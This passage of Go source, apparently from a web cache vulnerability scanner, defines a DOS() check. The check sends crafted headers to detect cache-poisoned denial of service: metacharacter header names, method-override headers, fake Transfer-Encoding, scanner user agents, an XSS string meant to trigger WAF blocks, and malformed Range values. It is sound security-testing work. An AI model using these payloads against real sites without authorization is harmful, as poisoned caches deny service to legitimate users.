Function DOS

pkg/techniques.go:938–1026

* Check for different DOS techniques */

()

/* Check for different DOS techniques */
func DOS() reportResult {
	var repResult reportResult
	repResult.Technique = "DOS"

	hho(&repResult)

	// HMC (Header Metachar Character)
	headers := []string{"X-Metachar-Header"}
	values := []string{"n\nn", "r\rr", "a\aa", "x00\x00x00", "b\bb", "x1b\x1bx1b", "v\vv", "f\ff", "u0000\u0000u0000"} // TODO put not functional meta chars, due to fasthttp header value restrictions, in the value using \r\n in the header name

	for _, header := range headers {
		headerDOSTemplate(&repResult, values, header, "HMC ", true)
	}

	headers = []string{"X-Meta\nchar-Header", "X-Meta\rchar-Header", "X-Meta\achar-Header", "X-Meta\x00char-Header", "X-Meta\bchar-Header", "X-Meta\x1bchar-Header", "X-Meta\vchar-Header", "X-Meta\fchar-Header", "X-Meta\u0000char-Header"}
	values = []string{"n", "r", "a", "x00", "b", "x1b", "v", "ff", "u0000"}

	for i, header := range headers {
		headerDOSTemplate(&repResult, []string{values[i]}, header, "HMC ", true)
	}

	// HMO (HTTP Method Override)
	values = []string{"GET", "POST", "DELETE", "HEAD", "OPTIONS", "CONNECT", "PATCH", "PUT", "TRACE", "NONSENSE"}
	headers = []string{"X-HTTP-Method-Override", "X-HTTP-Method", "X-Method-Override"}
	for _, header := range headers {
		headerDOSTemplate(&repResult, values, header, "HMO ", true)
	}

	// DOS via not implemented transferEncoding
	values = []string{"asdf"}
	headerDOSTemplate(&repResult, values, "zTRANSFER-ENCODING", "Not supported Transfer-Encoding ", true)

	// DOS via incompatible/outdated browser agent
	values = []string{"Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"}
	headerDOSTemplate(&repResult, values, "User-Agent", "incompatible browser ", true)

	// DOS via blacklisted security scanner user agent // TODO: Also add bots? Or will the IP be blocked too fast
	values = []string{"WebCacheVulnerabilityScanner v" + version, "Fuzz Faster U Fool", "Nuclei - Open-source project (github.com/projectdiscovery/nuclei)", "sqlmap/1.3.11#stable (http://sqlmap.org)", "gobuster/3.1.0", "Wfuzz/2.2", "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)", "masscan/1.3", "blekkobot"}
	headerDOSTemplate(&repResult, values, "User-Agent", "blacklisted security scanners ", true)

	// DOS via illegal header name
	/* Currently disabled because of net/http throws error because of illegal character TODO: workaround, see https://stackoverflow.com/questions/70678016/how-to-bypass-golangs-http-request-net-http-rfc-compliance
	values = []string{"foobar"}
	headerDOSTemplate(&repResult, values, "Ill\\egal", "illegal header name ", true)
	*/

	// DOS via Max-Forwards (Webserver/Cache returns request)
	values = []string{"0", "1", "2"}
	headerDOSTemplate(&repResult, values, "Max-Forwards", "", true)

	// DOS via waf blocking because of a blacklist word
	// TODO: change header to probably whitelisted header, More Blacklist words?
	values = []string{".burpcollaborator.net", "<script>alert(1)</script>"}
	headerDOSTemplate(&repResult, values, "Any-Header", "blacklist ", true)

	// DOS via Range
	values = []string{"bytes=m10x", "bytes=9-4", "bytes=-1024,0", "bytes=0-,0-,0-,0-"}
	headerDOSTemplate(&repResult, values, "Range", "", true)